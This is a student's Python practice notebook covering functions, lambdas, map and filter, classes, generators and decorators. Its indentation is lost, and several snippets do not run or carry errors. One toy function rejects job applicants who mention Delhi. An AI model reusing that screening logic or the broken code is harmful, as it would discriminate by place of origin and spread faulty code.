Python Practice
FUNCTIONS
def say_hello():
# print("Hello!")
# print("Hello!")
# print("Hello!")
# print("Hello!")
# print("Hello!")
# print("Hello!")
# def say_hello():
# print("Hey there!")
# a = "Hello"
# return("Whats up!")
# #return vs print
# #print displays the output
# #return saves the output so that you can use it afterwards.
# #once you use return, python thinks that the code is finished and there is no more to do. So if you use a command after returning, it will not run.
# result = say_hello()
# print(result)
# def say_goodbye():
# print("good bye")
# say_goodbye()
# def square_of_10():
# return 10 ** 2
# say_hello()
# say_goodbye()
# square_of_10()
# say_hello()
from random import random
from selenium.webdriver.remote.errorhandler import ErrorCode
# print(int(random() * 1000000))
def flip_coin():
if random() > 0.5:
return "Heads"
else:
return "Tails"
print(flip_coin())
def add(first, second):
if type(first) == int and type(second) == int:
return first + second
else:
return "Please enter only integers"
print(add(20, 5))
def power_to(number, power):
return number ** power
print(power_to(50, 3))
def power_to(number, power, message):
return f"{message} - {number ** power}"
print(power_to(50, 3))
print(power_to(50, 3, "Hello World"))
print(power_to("Hello World", 50, 3))
def filter_out(info):
if info.lower().find("delhi") == -1:
return "Your job request has been accepted"
else:
return "Sorry there was no job, it was a mistake"
user_input = input("What is your name and where are you from? ")
print(filter_out(user_input))
def sum_odd_numbers(numbers):
total = 0
for num in numbers:
if num % 2 != 0:
total += num
return total
# print(sum_odd_numbers([1,2,3,4,5]))
# def power_to(number=5, power=2, message="The answer is"):
# return f"{message} - {number ** power}"
# print(power_to(10, 4, "Hello"))
# print(power_to(10))
# print(power_to())
def add(a, b):
return a + b
def subtract(a, b):
return a - b
def divide(a, b):
return a / b
def math(a, b, fn=add):
return fn(a, b)
print(math(10, 120, subtract))
print(math(10, 120))
def full_name(first, last):
return "Your name is " + first + " " + last + "."
return f"Your name is {first} {last}."
def div(dividend, divisor):
return dividend / divisor
print(full_name("D'Silva", "Jostin"))
print(div(2, 10))
print(div(divisor=2, dividend=10))
# Scope
result = "Hello World"
def power_to(number=5, power=2, message="The answer is"):
dog = "Beagle"
if number == 10:
print(dog)
name = "Arnold"
print(name)
result = f"{message} - {number ** power}"
print(result)
return result
print(power_to())
print(power_to(10))
num = 100
def power_to(number=5, power=2, message="The answer is"):
global num
num += 200
return f"{message} - {number ** power}"
print(power_to(10))
print(num)
# built-in scope
a = 100
def outer():
count = 0 ## non-local or global scope
def inner():
a = 20
nonlocal count
count += 1 # local scope
return count
return inner()
outer()
# nonlocal count
# count += 10
# print(count) # ERROR
def power_to(number=5, power=2, message="The answer is"):
"""This is a little information about this function. It will do some exponent math.
This is my help/description about the function"""
return f"{message} - {number ** power}"
print(power_to(10))
print(power_to.__doc__)
print(help(power_to))
def add(*nums):
print(nums)
print(type(nums))
total = 0
for num in nums:
total += num
return total
print(add(1,2,34,4,34,-1000,6,743,3))
def printme(*names):
message = "Hello"
for name in names:
print(f"{message} {name}")
printme("Hello there",Aniket", 100, "Dinesh", True, "Rajesh", "Ashwini")
def entry(*names):
if 'delhi' in names:
print("You are not allowed in here")
else:
print("Please come in")
entry('Definite', True)
entry("delhi")
entry("Mumbai")
def profile(**details):
print(details)
for k,v in details.items():
print(f"{k} - {str(v).upper()}")
#print(f"{first_name} {last_name}")
print(profile(last_name="Wick", first_name="John", age=23, job="Software Developer"))
def show_info(a, b, *args, role="moderator", **kwargs):
return [a, b, args, role, kwargs]
print(show_info(1, 2, 3, first_name="John", last_name="Wick"))
# # unpacking
def adding(*nums):
total = 0
for num in nums:
total += num
return total
list1 = [1,2,3,4]
print(add(*list1))
def say_name(first, last):
print(f"My name is {first} {last}.")
name = {"first": "Don", "last_name": "Corleone"}
dict1 = {"first": "Lucifer", "last":"Morningstar"}
say_name(**dict1)
say_name(first="Don", last="Corleone")
def say_name2(**names):
for k,v in names.items():
print(f"My {k} is {v}")
say_name2(first="Don", last_name="Corleone", profession="Mafia")
def square(a):
return a * a
print(square(10))
squared = lambda a,b: a * a * b
print(squared(20,10))
print(type(squared))
squared = 10
print(squared)
print(type(squared))
def math(a,b,fn):
return fn(a,b)
def add(a,b):
return a + b
print(math(10,20,add))
print(math(1200,2,lambda a,b: a * b))
print(math(200,12,lambda a,b: a * b + (a ** 2)))
nums = [1,2,3,4,5,6,7,8]
triples = list(map(lambda num: num ** 3, nums)) # map object
# quads = [num**4 for num in nums]
print(triples)
mul5 = [num * 5 for num in triples]
print(mul5)
print(dict(triples))
# print(list(triples))
# print(list(triples))
# print(quads)
names = ["Gordon Gecko", "Definite", "Will Smith", "Willis", "SSR", "Harvey Spectre", "Amir Khan", "Vijay Chauhan", "Bruce Wayne"]
filtered_list = list(filter(lambda name: name[0].lower() == 'w', names))
print(filtered_list)
def manipulate_list(list, command, location, value=None):
if command == "add" and location == "end":
if value:
list.append(value)
print(list)
else:
print("Please provide a value")
elif command == "add" and location == "front":
if value:
list.insert(0, value)
print(list)
else:
print("Please provide a value")
elif command == "remove" and location == "end":
if not value:
list.pop()
print(list)
elif value != list[-1]:
print(f"{value} is not the last value in the list")
print(list)
else:
list.pop()
print(list)
elif command == "remove" and location == "front":
if not value:
list.pop(0)
print(list)
elif value != list[0]:
print(f"{value} is not the first value in the list")
print(list)
else:
list.pop(0)
print(list)
my_list = [1, 2, 3, 4, 5]
manipulate_list(my_list, "add", "end", 100)
manipulate_list(my_list, "add", "front", 50)
manipulate_list(my_list, "remove", "end", 50)
manipulate_list(my_list, "remove", "front", 50)
manipulate_list(my_list, "remove", "end")
manipulate_list(my_list, "add", "end")
# Ex. 9
def is_palindrome(str):
return str.lower() == str.lower()[::-1]
print(is_palindrome("anna"))
# Filter and map -> console output
nums = [1,2,3,4,5]
# >>>
mapped = map(lambda num: num + (num * 2), nums)
# >>>
print(mapped)
# <map object at 0x00000154D7637FA0>
list(10)
# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# TypeError: 'int' object is not iterable
>>> list("hello")
# ['h', 'e', 'l', 'l', 'o']
>>> list(mapped)
# [3, 6, 9, 12, 15]
>>> mapped = list(map(lambda num: num + (num * 2), nums))
>>> mapped
# [3, 6, 9, 12, 15]
# >>>
# >>>
>>> nums
# [1, 2, 3, 4, 5]
# >>>
# >>>
>>> filtered = list(filter(lambda num: num % 2 != 0, nums))
>>> filtered
# [1, 3, 5]
# >>>
>>> category = ["apple", "samsung", "lenovo", "hp", "dell", "asus"]
# >>>
>>> filtered = filter(lambda cat: cat == "apple", category)
# >>>
>>> list(filtered)
# ['apple']
# >>>
>>> user = ["apple", "Karbonn"]
# >>>
>>> filtered = filter(lambda cat: cat in user, category)
# >>>
>>> list(filtered)
# ['apple']
# >>>
names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
survived = list(
map(lambda name: f"Winner: {name}", list(filter(lambda name: len(name) < 5, names)))
)
print(survived)
names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
print(all(names))
print(all([name[0] == "J" for name in names]))
print([name[0] == "J" for name in names])
print(any(name for name in names if len(name) > 3))
nums = (123, 123, 21314, 5, 643, 2, 23321, 1)
print(sorted(nums, reverse=True))
>>> sorted("Hello")
# ['H', 'e', 'l', 'l', 'o']
>>> sorted("Hello2324")
# ['2', '2', '3', '4', 'H', 'e', 'l', 'l', 'o']
>>> sorted("Hello2324JAS")
# ['2', '2', '3', '4', 'A', 'H', 'J', 'S', 'e', 'l', 'l', 'o']
>>> sorted([12,234,4,5,6])
# [4, 5, 6, 12, 234]
>>> tuple(sorted([12,234,4,5,6]))
# (4, 5, 6, 12, 234)
>>> tuple(sorted([12,234,4,5,6,6,6]))
# (4, 5, 6, 6, 6, 12, 234)
>>> set(sorted([12,234,4,5,6,6,6]))
# {4, 5, 6, 234, 12}
>>> sorted(set(sorted([12,234,4,5,6,6,6])))
# [4, 5, 6, 12, 234]
# >>>
# # Sidenote - generators
import sys
print(sys.getsizeof([1123213, 213, 213, 213, 21, 321, 3, 213, 213, 21, 3]))
lst = [num * 10000 for num in range(0, 1000)]
gen = (num * 10000 for num in range(0, 1000))
print(sys.getsizeof(lst))
print(sys.getsizeof(gen))
>>> reversed("hello")
# <reversed object at 0x000002304493A550>
# >>>
>>> list(reversed("hello"))
# ['o', 'l', 'l', 'e', 'h']
# >>>
# >>>
>>> "".join(reversed("hello"))
# 'olleh'
# >>>
# >>>
>>> abs(-33.3333)
# 33.3333
>>> abs(-33.3)
# 33.3
>>> abs(0)
# 0
>>> abs(-0)
# 0
# >>>
# >>>
# >>>
>>> sum([1,2,3])
# 6
>>> sum([1,2,3,-4])
# 2
>>> sum([1,2,3])
# 6
>>> sum([1,2,3], 100)
# 106
>>> sum([1,2,3], 5)
# 11
>>> sum(range(1, 21), 5)
# 215
>>> sum(range(1, 21), 1000)
# 1210
# >>>
# >>>
# >>>
>>> round(99.99)
# 100
>>> round(99.94)
# 100
>>> round(99.49)
ages = [23, 4, 532, 23, 45, 21, 98]
names = [
"Hitler",
"Elon Musk",
"Warren Buffet",
"Kim Jon Un",
"Nikola Tesla",
]
birth_place = ["Austria", "South Africa", "New York", "North Korea", "USA"]
print(list(zip(names, ages, birth_place)))
ERROR HANDLING
try:
# attempt
num = int(input("Please enter a number: "))
except TypeError:
# if unsuccessful
print("That's not a number!")
else:
# if successful
print(num * 100)
finally:
# runs either way (in the end). Whether success or error
print("Runs no matter what!")
Write a function called inc_dec_list which accepts a list of numbers
and a command. If the command is "increase" then then add 1 to all
the numbers in the list and return that list. If the command is
"decrease" then subtract 1 instead. Use the map function to achieve this.
def inc_dec_list(num_list, command):
if command == "increase":
return list(map(lambda n: n + 1, num_list))
elif command == "decrease":
return list(map(lambda n: n - 1, num_list))
else:
return "Unknown Command"
print(inc_dec_list([10, 20, 30, 40, 50], "increment"))
num_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
result = list(filter(lambda n: n < 7, num_list))
print(num_list)
print(result)
names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
survived = list(
map(lambda name: f"Winner: {name}", list(filter(lambda name: len(name) < 5, names)))
)
print(survived)
Some more data type practice
my_mixed_list = [23, True, "Hello", "mumbai", "delhi", "This is a very long string"]
print(my_mixed_list)
# # Ctrl /
for item in my_mixed_list:
print(item)
# Exercise 1
# ...
my_dict = {"city1": ["mumbai", "kurla"], "city2": "delhi", "something_else": 2345}
print(my_dict["city2"])
print(my_dict["city1"])
print(my_dict["something_else"])
for key, value in my_dict.items():
print(f"My {key} is {value}")
for value in my_dict.values():
print(f"My value is {value}")
for key in my_dict.keys():
print(f"My key is {key}")
def cool(num1, num2):
return f"this is {num1} and this is {num2}"
def notcool(num1, num2):
return num1 * num2
def my_func(number1, number2, number3):
return number1 + number2 + number3
print(my_func(10, 20, -100))
def my_func2(number1, number2, func):
return func(number1, number2)
print(my_func2(10, 20, cool))
print(my_func2(10, 20, notcool))
def coolman(*args):
print(args)
for item in args:
print(item)
coolman("this", "that", "cricket")
def add(*nums):
total = 0
print(type(nums))
for num in nums:
total += num
total = total + num
return total
print(add(10, 20, 3, 4, 6, 89, 100))
MODULE
import random
print(random.random() * 100)
print(random.randint(10, 100))
# def random():
# # code
# # import random
import random as cool
names = ["Donald Trump", "Kanye West", "Amir Khan", "Dubai", "Kurla"]
value = random.choice(["Donald Trump", "Kanye West", "Amir Khan"])
value = cool.choice(["Donald Trump", "Kanye West", "Amir Khan"])
print(names)
random.shuffle(names)
cool.shuffle(names)
print(names)
print(value)
# from random import randint as koi_number, choice as pasand, shuffle
from random import *
# print(randint(0, 10))
# print(koi_number(0, 50))
# print(pasand([1, 2, 3, 4, 5]))
print(randint(10, 100))
print(random())
print(choice(["first", "second"]))
Object Oriented Programming
class Human:
def __init__(self, name, race, profession, city):
self.name = name
self.race = race
self.profession = profession
self.city = city
def info(self):
print(f"Name: {self.name}")
print(f"Race: {self.race}")
print(f"Prof: {self.profession}")
print(f"City: {self.city}")
user1 = Human("Mojo Man", "Brown", "Python Developer", "Pune")
user2 = Human("John Brown", "Brown", "Java Developer", "Delhi")
print(user1.profession)
print(user2.city)
user1.info()
user2.info()
--------------------------------------------------------------------------
class Email:
def __init__(self, to, cc, bcc, subject, message):
self.to = to
self.cc = cc
self._bcc = bcc # private attribute
#self.__bcc = bcc # Mangled attribute - _Email__bcc
self.subject = subject
self.message = message
self.sender = "Gmail"
def print_email(self):
print(
f"To: {self.to}\nCC: {self.cc}\nSubject: {self.subject}\nMessage: {self.message}"
)
# Getter method
def get_bcc(self):
return self._bcc
# Setter method
def set_bcc(self, email):
self._bcc = email
my_email = Email(
"john@gmail.com",
None,
"jack@outlook.com",
"I am trying to install Numpy!",
"It isn't happening.",
)
my_email2 = Email(
"john2@gmail.com",
"jon_snow@got.com",
"jack2@outlook.com",
"You know nothing",
"Jon Snow. - Igrite",
)
print(my_email.to)
print(my_email.cc)
print(my_email.subject)
print(my_email.message)
print(my_email._Email__bcc)
print(my_email.sender)
my_email.to = "COOLMAN@COOLMAN.com"
my_email.sender = "Outlook.com"
print(my_email.to)
print(my_email.sender)
print(dir(my_email))
print(f"To: {my_email2.to}\nSubject: {my_email2.subject}")
my_email2.print_email()
print(my_email2.get_bcc()) #jack2@outlook.com
my_email2.set_bcc("hound@lannister.com")
print(my_email2.get_bcc()) #hound@lannister.com
----------------------------------------------------------------------------
class Pokemon:
def __init__(self, name, type, **attacks):
self.name = name
self.type = type
self.attacks = attacks
self._health = 100
# Getter method for private attribute health
def get_health(self):
return self._health
def attack(self, attack_name):
# will return a dictionary. ex: {"slash": 10}
return {k: v for k, v in self.attacks.items() if k == attack_name}
def damage(self, attack):
# attack param is a dictionary. ex. {"fireball": 27}
attack_name = list(attack.keys())[0]
attack_hitpoints = list(attack.values())[0]
#self._health = self._health - attack_hitpoints
self._health -= attack_hitpoints
print(self.name, "got hit by", attack_name, "and took a damage of", attack_hitpoints, "%."
)
pika = Pokemon("Pikachu", "Electric", slash=10, thundershock=25, speed=18)
char = Pokemon("Charmender", "Fire", slash=12, fireball=27, flamethrower=15, speed=5)
print(char.get_health())
pika.damage(
char.attack("fireball")
)
print(pika.get_health()) #73
--------------------------------------------------------------
# class User:
# total_users = 0
# def __init__(self, name, age):
# self.name = name
# self.age = age
# User.total_users += 1
# @classmethod
# def get_total_users(cls):
# return cls.total_users
# class Math:
# @classmethod
# def add(cls, a, b):
# return a + b
# @classmethod
# def subtract(cls, a, b):
# return a - b
# print(Math.add(10, 5))
# ganesh = User("Ganesh Gawde", "18")
# aniket = User("Aniket Ghume", "21")
# print(ganesh.age)
# print(aniket.age)
# print(ganesh.total_users)
# rajesh = User("Rajesh", "21")
# print(User.total_users)
# print(aniket.total_users)
# print(User.total_users)
# print(f"Class Method Result: {aniket.get_total_users()}")
# print(f"Class Method Result: {User.get_total_users()}")
-----------------------------------------------------------------------
# class User:
# total_users = 0
# def __init__(self, name, age):
# self.name = name
# self.age = age
# User.total_users += 1
# def __repr__(self):
# return f"Name: {self.name}\nAge: {self.age}"
# @classmethod
# def get_total_users(cls):
# return cls.total_users
# naaz = User("Naaz", 25)
# print(naaz)
----------------------------------------------------------------
# class User:
# # constructor
# def __init__(self, name, email):
# self.name = name
# self.__email = email # __ - name mangling. _User__email
# john = User("John", "john@gmail.com")
# print(john.name) # "John"
# print(john._User__email) # "john@gmail.com"
--------------------------------------------------------------
# # Inheritance
# # Base class
# class User:
# # constructor
# def __init__(self, name, email):
# self.name = name
# self.email = email
# def login(self):
# return f"{self.name} has logged in"
# # Admin inherits from User
# class Admin(User):
# def __init__(self, name, email, password):
# self.name = name
# self.email = email
# self.password = password
# def delete_user(self):
# return f"You deleted a user"
# # # class Moderator(User):
# # # pass
# # prat = User("Prat", "prat666@gmail.com")
# # vaibhav = Admin("Vaibhav", "coolzvaib@gmail.com", "1234")
# # print(prat.name)
# # print(prat.email)
# # print(vaibhav.name, vaibhav.password)
# # print(prat.login())
# # print(vaibhav.login())
# # print(prat.delete_user())
# # # print(prat.password)
# # ------------------------------
# class User:
# def __init__(self, name, email):
# self.name = name
# self.email = email
# def login(self):
# return f"{self.name} has logged in"
# class Admin(User):
# def __init__(self, name, email, password):
# super().__init__(name, email)
# # User.__init__(self, name, email)
# # self.name = name
# # self.email = email
# self._password = password
# print("I AM THE BASE!")
# def get_password(self):
# return self._password
# def set_password(self, new_password):
# self._password = new_password
# @property
# def password(self):
# return self._password
# @password.setter
# def password(self, new_pass):
# self._password = new_pass
# john = Admin("John Abraham", "john@dhoom.com", "bipashayabusa")
# print(john.get_password())
# john.name = "jane"
# john.set_password("northeastfc")
# print(john.get_password())
# print(f"New Name: {john.name}")
# print(john.name)
# print(john.password)
# john.password = "coolman198"
# print(john.password)
------------------------------------------------------
from colorama import init, Fore, Back, Style
from termcolor import colored
from colorama.initialise import colorama_text
# I have to to run this first.
init()
class User:
total_users = []
active_users = 0
@classmethod
def display_active_users(cls):
print(f"There are currently {cls.active_users} users online.")
@classmethod
def display_total_users(cls):
print(f"Total Users: {len(cls.total_users)}")
idx = 0
while idx < len(cls.total_users):
print(f"No. {idx + 1}: {cls.total_users[idx]}")
idx += 1
def __init__(self, username, email, password, dob):
self.username = username
self.email = email
self._password = password
self._dob = dob
User.total_users.append(email)
def get_age(self):
age = 2021 - int(self._dob.split("/")[2])
print(f"{self.username} is {age} years old.")
@property
def password(self):
return self._password
@password.setter
def password(self, new_password):
self._password = new_password
print("Your password has been updated")
def login(self):
if self.email in User.total_users:
User.active_users += 1
if isinstance(self, Moderator):
print(colored(f"{self.username} just logged in.", "yellow"))
else:
print(f"{self.username} just logged in.")
else:
print(
colored(
f"Access forbidden! {self.username} has been kicked out.", "red"
)
)
def logout(self):
User.active_users -= 1
print(f"{self.username} has logged out.")
class Moderator(User):
total_mods = 0
def __init__(self, username, email, password, dob):
super().__init__(username, email, password, dob)
Moderator.total_mods += 1
def delete_user(self, email):
email_idx = User.total_users.index(email)
User.total_users.pop(email_idx)
abhijeet = User("abhi777", "abhijeet777@gmail.com", "kadam32", "24/01/1995")
mitalee = User("mitaleeCool", "mitalee@gmail.com", "mitalee789", "06/05/1998")
pravin = User("pravin001", "pravinman@gmail.com", "pravin@123", "05/03/1998")
nikhilesh = Moderator("NikhileshMod", "iamcool@gmail.com", "nikmod51", "10/01/1999")
shweta = Moderator("shwetaMod", "shweta999@hotmail.com", "Sane888", "11/09/2001")
aadil = User("aadilcoolman", "aadil@gmail.com", "aAdIl007", "12/09/1999")
User.display_total_users()
abhijeet.login()
mitalee.login()
print(isinstance(pravin, User))
print(isinstance(nikhilesh, Moderator))
print(
isinstance(nikhilesh, User)
) # true, because moderator inherits from user. So nikhilesh is both
pravin.login()
abhijeet.get_age()
# mitalee.delete_user("mitalee@gmail.com")
shweta.login()
User.display_total_users()
print(User.total_users)
User.display_total_users()
nikhilesh.get_age()
shweta.password = "askjdnu632"
print(shweta.password)
User.display_active_users()
aadil.login()
User.display_active_users()
aadil.logout()
User.display_active_users()
------------------------------------------------------
from datetime import datetime
from tabulate import tabulate
class List:
active = []
completed = []
@classmethod
def add_task(cls, todo_item):
if todo_item.status != "completed":
cls.active.append(todo_item)
else:
cls.completed.append(todo_item)
@classmethod
def list_tasks(cls):
# [print(todo.task) for todo in cls.active]
print(tabulate([todo.task for todo in cls.active]))
@staticmethod
def yo_man(x):
print("yo man", x)
class Todo:
status_types = ("current", "in_progress", "in_review", "completed")
def __init__(self, task, project=None, due_date=None, status="current", *tags):
self.task = task
self.project = project
self.due_date = due_date
self.tags = list(tags)
self._created_at = str(datetime.now()) # private attribute
if status not in Todo.status_types:
return f"Invalid status. Please enter any one from the following: 'current', 'in_progress', 'in_review', 'completed'."
else:
self.status = status
List.add_task(self)
todo1 = Todo("Test this application")
todo2 = Todo("This is a simple task")
List.list_tasks()
# static method, doesnt care about the class and its working or its attributes of functions, works independently
List.yo_man("pravin")
-------------------------------------------------------------------------
from random import choice
from copy import copy
class Animal:
names = ["Walter", "Jesse", "Lisa", "Jenny", "Don", "Joe", "Jack", "Lee"]
def __init__(self, name, type, breed, sound):
self.name = name
self.type = type
self.breed = breed
self.sound = sound
def __repr__(self):
return f"\nName: {self.name}\nType: {self.type}\nBreed: {self.breed}\nSound: {self.sound}\n"
def __add__(self, other):
if self.type != other.type:
raise TypeError(
f"A {self.type} and a {other.type} can't mate you sick freak!"
)
else:
print(f"{self.name} is mating with {other.name} *********")
species = type(self)
new_breed = choice([self.breed, other.breed])
offspring = species(choice(Animal.names), new_breed)
print(f"Child Born:\n{offspring}")
return offspring
def __len__(self):
return 100 # you have to return an integer if you want to overwrite this magic method
def __gt__(self, other):
if self.type == "Dog" and other.type == "Fish":
return True
else:
return False
def __mul__(self, other):
if isinstance(other, int):
return [copy(self) for i in range(other)]
def make_sound(self):
print(self.sound * 10)
class Dog(Animal):
def __init__(self, name, breed):
super().__init__(name, "Dog", breed, "bark")
def make_sound(self):
print(
f"{self.sound * 2} Human, my name is {self.name} and I am a Daoug. {self.sound * 3}"
)
class Fish(Animal):
def __init__(self, name, breed):
super().__init__(name, "Fish", breed, "splash")
tiger = Animal("Kaalu", "wild", "Jungle", "Roar")
lab = Dog("Bucky", "Labrador")
lab2 = Dog("Emily", "Labrador")
new_dog = Dog("Jack", "German Shepard")
shark = Fish("Matt", "Great White")
print(new_dog)
lab.make_sound()
shark.make_sound()
shark + new_dog # TypeError
lab + lab2
child = lab + lab2 + new_dog
print(child.make_sound())
print(f"{child.make_sound()} is barking!")
print(lab + shark)
print(len(lab2))
print(lab > shark)
print(lab2 > lab)
dog_clones = lab * 5
# # We get back a new list of cloned dogs
print(dog_clones)
print(dog_clones[0] is dog_clones[1]) # they are different objects in memory
Generators
# name = "Khula Saand"
# name_iterator = iter(name)
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# print(next(name_iterator))
# # # Custom for loop
# def custom_for(iterable):
# iterator = iter(iterable)
# while True:
# try:
# print(next(iterator))
# except StopIteration:
# break
# # # Custom map function
# def custom_map(function, iterable):
# iterator = iter(iterable)
# while True:
# try:
# i = next(iterator)
# except StopIteration:
# break
# else:
# function(i)
# custom_for([1234, 124, 234, 1, 12, 21, 43])
# newVar = []
# custom_map(lambda x: newVar.append(x * 10), "hello")
# print("".join(newVar))
# # # Custom iterable (range function clone)
# class Counter:
# def __init__(self, start=None, end=None, step=1):
# if start == None:
# self.current = 0
# self.end = end
# elif end == None:
# self.current = 0
# self.end = start
# else:
# self.current = start
# self.end = end
# self.step = step
# # # This is needed
# def __iter__(self):
# # so what this returns is what the iter() function will return
# # This needs to be an iterator and not something stupid
# # return iter("hello") # this will work, as it is an iterable
# return (
# self # won't work without the below __next__ as it is not an iterator yet
# )
# # what we need is begin with `start` and keep going to `end`
# def __next__(self):
# if self.current >= self.end:
# num = self.current
# self.current += self.step
# return num
# elif self.current <= self.end:
# num = self.current
# self.current -= self.step
# return num
# else:
# raise StopIteration
# c = Counter(10, 20)
# iter(c)
# d = Counter(10, 0)
# for x in Counter(0, 10, 2):
# print(x)
# for x in Counter(10, 0, -2):
# print(x)
# # Generator
# def count_up_to(max):
# count = 1
# while count <= max:
# yield count
# count += 1
# counter = count_up_to(10)
# print([num for num in count_up_to(12)])
# def gen_counter(start, end, step=1):
# while start < end:
# yield start
# start += step
# def gen_counter(start, end):
# while start < end:
# yield start
# start += 1
# c = gen_counter(1, 10)
# print(help(c)) # show this
# print(c)
# print(list(c)) # show this as well
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# print(next(c))
# for num in gen_counter(1, 10):
# print(num)
def week():
days = [
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday",
"Sunday",
]
for day in days:
a = yield day
print(a)
week()
Generator Expressions
# # Generator expression
# generated_nums = list((num for num in range(1000)))
# print(generated_nums)
# from sys import getsizeof
# nums_gen = (num ** 100 for num in range(10000000))
# print(f"Using a generator: {getsizeof(nums_gen)}")
# nums_list = sum([num ** 100 for num in range(10000000)])
# print(f"Using list comp: {getsizeof(nums_list)}")
# # 0, 1
# def fib_list(max):
# nums = []
# a, b = 0, 1
# while len(nums) < max:
# nums.append(b)
# a, b = b, a + b
# return nums
# for num in fib_list(1000000):
# print(num)
# def fib_gen(max):
# a, b = 0, 1
# count = 0
# while count < max:
# a, b = b, a + b
# yield a
# count += 1
# for num in fib_gen(1000000):
# print(num)
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# # HOF
# def math(a, b, fn):
# return fn(a, b)
# print(math(10, 20, sub))
# def sum(n, func):
# total = 0
# for num in range(1, n + 1):
# total += func(num)
# return total
# def square(n):
# return n * n
# def cube(n):
# return n * n * n
# print(sum(3, square))
# print(sum(3, cube))
import random
def greet(person):
def get_mood():
mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
msg = random.choice(mood) # import random
return msg
result = f"{get_mood()} {person}"
return result
print(greet("Salman"))
# function generator
def make_greet_func(person): # closure
def make_message():
msg = random.choice(
["Hello", "What!", "What the heck do you want!", "Get lost!"]
)
return f"{msg} {person}"
return make_message
greet_aditi = make_greet_func("Aditi")
print(greet_aditi())
print(greet_aditi())
print(greet_aditi())
print(greet_aditi())
Higher Order Functions
def stars(fn):
def wrapper():
print("*" * 10)
fn()
print("*" * 10)
return wrapper
def say_hello():
print("Hello World")
say_hello()
new_hello = stars(say_hello)
new_hello()
# function 1
def name():
print("Pravin")
def mountain():
print("Himalaya is cool")
# # function 2
def greet(func):
name()
print("HELLO BRO!")
# new inner function
def wrapper():
print("Abe saale")
print(10 ** 4)
func()
return wrapper
returned_func = greet(mountain)
returned_func()
def add(a, b):
print("Hello mojo")
return a + b
x = add(10, 50)
print(x + 10000)
returned_func()
from random import choice
# HOF (DECORATOR)
def mood(fn):
def wrapper():
messages = ["Get lost!", "Hello", "Piss off", "Buy beer"]
return f"{choice(messages)} {fn()}"
return wrapper
@mood # name = mood(name)
def name():
names = ["Salman", "Pravin", "Nikhilesh", "Shweta", "Mitalee", "Aditi"]
return choice(names)
@mood
def mountains():
mt_names = ["Mount Abu", "Mont Blanc", "Sahara", "Pravin"]
return choice(mt_names)
name = mood(name)
print(name())
print(mountains())
greeting = mood(name)
print(greeting())
# def add(a, b):
# return a + b
# result = add(10,20)
# # Make uppercase decorator
# def make_upper_case(fn):
# def wrapper(*args, **kwargs):
# return fn(*args, **kwargs).upper()
# return wrapper
# @make_upper_case
# def say_hello(name):
# return f"Hello, {name}."
# @make_upper_case
# def custom_hello(msg, name):
# return f"{msg} {name}"
# @make_upper_case
# def add(a, b, c):
# result = a + b + c
# return f"The result of adding {a}, {b}, {c} is {result}"
# print(add(c=50, a=10, b=1000))
# say_hello = make_upper_case(say_hello)
# print(say_hello("hello world")) # wrapper(arg) -> HELLO, HELLO WORLD!
# print(say_hello(1000)) # wrapper(arg) -> HELLO, HELLO WORLD!
# message = custom_hello("Hey bruv", "John Doe")
# print(message)
# # def add(*args):
# # print(args)
# # return args[0] + args[1]
# # print(add(10))
# # import time
# from time import time
# def sum_gen(value):
# print("Executing sum_gen")
# start_time = time()
# result = sum(num for num in range(value))
# end_time = time()
# print(f"Total time elapsed: {end_time - start_time}")
# return result
# def sum_list(value):
# print("Executing sum_list")
# start_time = time()
# result = sum([num for num in range(value)])
# end_time = time()
# print(f"Total time elapsed: {end_time - start_time}")
# return result
# # Speed test decorator
# def speed_test(fn):
# def wrapper(*args, **kwargs):
# print(f"Executing {fn.__name__}")
# start_time = time()
# result = fn(*args, **kwargs)
# end_time = time()
# print(f"Total time elapsed: {end_time - start_time}")
# return result
# return wrapper
# @speed_test
# def sum_gen(value):
# return sum(num for num in range(value))
# @speed_test
# def sum_list(value):
# return sum([num for num in range(value)])
# @speed_test
# def greet(name):
# return f"Hello {name}"
# print(sum_gen(1000))
# print(sum_list(1000))
# print(greet("John Doe"))
# # Limit arguments decorator
# # def limit_args(fn):
# # def wrapper(*args, **kwargs):
# # if len(args) <= 2 or len(args) < 5:
# # return fn(*args, **kwargs)
# # else:
# # return "Either too many or too less arguments"
# # return wrapper
# # @limit_args
# # def add(*args):
# # return sum(args)
# # print(add(1, 23, 432, 22, 1, 1, 1, 223))
# # print(add(1, 23, 432, 22))
# # print(add(1, 1))
# Authenticate/authorize decorator
def authenticate(fn):
def wrapper(*args, **kwargs):
if args[0]["role"] == "admin":
return fn(*args, **kwargs)
else:
return "NOT AUTHORIZED"
return wrapper
@authenticate
def access_page(user):
return "SECRET CONTENT"
user1 = {"name": "John Doe", "username": "john123@gmail.com", "role": "admin"}
print(access_page(user1))
# def add(*args):
# return sum(args)
# my_nums = [1, 2, 34, 5, 6, 7, 8]
# print(add(121, 3223, 1, 1, 11, 2))
# print(add(*my_nums)) # argument unpacking
# when we write *my_nums while calling the function, we basically unpack all the elements inside the my_nums list and put each element in *args tuple as a separate element. If we dont unpack by putting *, tuple will have only one element as a list.
from functools import wraps
from typing import Type
def make_upper_case(fn):
"""THIS IS THE make_upper_case high-o-func"""
@wraps(fn)
def wrapper(*args, **kwargs):
"""THIS IS THE WRAPPER FUNCTION"""
return fn(*args, **kwargs).upper()
return wrapper
@make_upper_case
def say_hello(person):
"""Says hello to whoever you want."""
return f"Hello, {person}."
@make_upper_case
def say_whatever(person, message):
"""
Says whatever you want to whoever you want.
Accepts 2 arguments
@person -> name of the person
@message -> the message you want to convey
"""
return f"{message}, {person}."
say_whatever = make_upper_case(say_whatever)
print(say_hello("John"))
print(say_whatever("Hey bro, wassup", "John Doe"))
print(say_hello.__doc__)
print(say_whatever.__doc__)
print(make_upper_case.__doc__)
# normal func
def add(a, b):
return a + b
print(add(10, 20)) # 30
def math(num1, num2, fn):
return fn(num1, num2)
def add(x, y):
